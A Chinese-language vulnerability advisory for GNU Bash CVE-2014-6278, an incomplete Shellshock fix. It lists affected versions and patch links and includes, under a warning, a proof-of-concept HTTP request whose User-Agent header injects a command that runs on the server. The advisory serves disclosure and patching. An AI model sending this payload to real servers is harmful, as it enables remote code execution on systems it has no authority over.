GNU Bash不完整修复远程代码执行漏洞(CVE-2014-6278)
GNU Bash不完整修复远程代码执行漏洞(CVE-2014-6278)
发布日期:2014-09-27
更新日期:2014-10-08
受影响系统:
GNU Bash <= 4.3 bash43-026
描述:
BUGTRAQ ID: 70166
CVE(CAN) ID: CVE-2014-6278
Bash,Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。
GNU Bash 4.3 bash43-026及之前版本没有正确解析环境变量值中的函数定义,这可使远程攻击者通过构造的环境,利用此漏洞执行任意代码或者。此漏洞源于CVE-2014-6271, CVE-2014-7169, CVE-2014-6277的不完整修复。
<*来源:Michal Zalewski (lcamtuf@echelon.pl)
链接:http://secunia.com/advisories/61549/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
GET /some/script.cgi HTTP/1.0
User-Agent: () { _; } >_[$($())] { id >/tmp/hi_mom;
建议:
厂商补丁:
GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.gnu.org/software/bash
http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
https://www.suse.com/support/shellshock/
http://support.novell.com/security/cve/CVE-2014-6277.html
https://kb.bluecoat.com/index?page=content&id=SA82
GNU Bash:
http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027
http://ftp.gnu.org/gnu/bash/bash-4.2-patches/bash42-050
http://ftp.gnu.org/gnu/bash/bash-4.1-patches/bash41-014
http://ftp.gnu.org/gnu/bash/bash-4.0-patches/bash40-041
http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-054
http://ftp.gnu.org/gnu/bash/bash-3.1-patches/bash31-020
http://ftp.gnu.org/gnu/bash/bash-3.0-patches/bash30-019
http://ftp.gnu.org/gnu/bash/bash-2.05b-patches/bash205b-010
Michal Zalewski:
http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
Gitlab-shell 受 Bash CVE-2014-6271 漏洞影响
Linux再曝安全漏洞Bash 比心脏出血还严重
解决办法是升级 Bash,请参考这篇文章。
Linux Bash安全漏洞修复
本文永久更新链接地址:
评论暂时关闭